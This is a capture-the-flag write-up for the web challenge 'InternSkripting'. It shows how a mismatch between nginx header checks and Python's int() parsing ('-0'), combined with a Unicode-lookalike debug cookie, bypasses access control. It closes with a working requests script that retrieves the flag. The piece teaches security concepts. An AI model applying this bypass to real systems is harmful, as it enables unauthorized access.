Tags: web nginx unicode 

Rating: 5.0

# InternSkripting (web)
Writeup by: [xlr8or](https://ctftime.org/team/235001)

As part of this challenge we get the website and the source code of the frontend and the backend.
The frontend code is rather simple, the most interesting file is `static/app.js`

```javascript
function get_flag() {
fetch("/api/flag", {
method: "GET",
mode: "same-origin",
cache: "no-cache",
credentials: "same-origin",
headers: {
"Content-Type": "application/json",
"X-Coffee-Secret": document.getElementById("flag_secret").value,
},
redirect: "follow",
referrerPolicy: "origin",
})
.then((response) => response.json())
.then((data) => work_with_flag(data))
.catch((reason) => show_error(reason));
}
```

This function gets called when trying to guess the secret value through the website. We see that the secret value is passed in the request headers. Nothing to exploit here really, let's look at the backend as well!

Here's the endpoint for `/flag` and a utility function
```python
def represents_int(s, default):
try:
app.logger.info("int %s", s)
return int(s, 0)
except:
return default

@app.route("/flag")
def get_flag():
coffee_secret = request.headers.get('X-Coffee-Secret')
coffee_disallow = request.headers.get('X-Coffee-Disallow', None)
coffee_debug = request.headers.get('X-Coffee-Debug', None)
app.logger.info(request.headers)
app.logger.info("header contents %s %s %s", coffee_secret, coffee_disallow, coffee_debug)
app.logger.info("int %d", represents_int(coffee_disallow, 1))
if represents_int(coffee_disallow, 1) != 0 :
return json.dumps({"value": "Filthy coffee thief detected!", "code": 418}), 418
app.logger.info("Gave coffee flag to someone with the secret %s", coffee_secret)
return json.dumps({"value": flag, "code": 200}), 200
```

We see here that the backend itself doesn't check the secret value, it only cares about `X-Coffee-Disallow`, which wasn't even set by the frontend code.

At this point I have noticed the frontend also contains an additional file, and nginx configuration!

```
upstream theapi {
server $SERVER:9696;
}

server {
listen 8888 default;

root /app;
index index.html;

server_name frontend.csr;

if ($request_method != GET) {
return 405;
}

location /api {
proxy_pass http://theapi/;

set $disa 0;
set $debug_api 0;

if ($http_x_coffee_secret = 0){
return 418;
}

if ($http_x_coffee_secret != $SECRET) {
set $disa 1;
}

if ($cookie_debug ~* debug) {
set $disa $http_x_coffee_secret;
set $debug_api $cookie_debug;
}

proxy_pass_header X-Coffee-Secret;
proxy_pass_header X-Coffee-Disallow;
proxy_set_header X-Coffee-Disallow $disa;
proxy_set_header X-Coffee-Debug $debug_api;
}
}
```

So what happens here:
* This reverse proxy handles the requests to `/api` to pass it to the python app we have seen above
* If the coffee secret is zero the request is rejected
* If the secret we send doesn't match the secret the server knows about, we set the disallow value to 1
* If we have a cookie named debug matching the value stated in the code (regex case insensitive match), then disallow will get the value of the secret header we have sent, and we will pass the cookie value along in the `X-Coffee-Debug` header.

From here the path of attack is clear:
1. Set the `X-Coffee-Secret` header to a value like `-0`, which will not trigger the condition in the nginx config, but will convert to zero in the python code.
2. Set a cookie named `debug` with the mentioned value
3. Win

In fact this is the solution, however I have wasted some time getting it to work. The crucial mistake I made was to assume the cookie value is `debug` just by looking at the config, however in reality the `u` is replaced by a unicode character that looks like the ascii letter `u` but is different.
After making this discovery everything started to work all of a sudden.

See the following python script which can recover the flag:
```python
import requests
cookie_value = 'deb\xd5\xbdg'
cookies = {
'debug': cookie_value
}

resp = requests.get('http://intern-scripting.rumble.host/api/flag', cookies=cookies, headers={
'X-Coffee-Secret': '-0'
})

print(resp.content)
```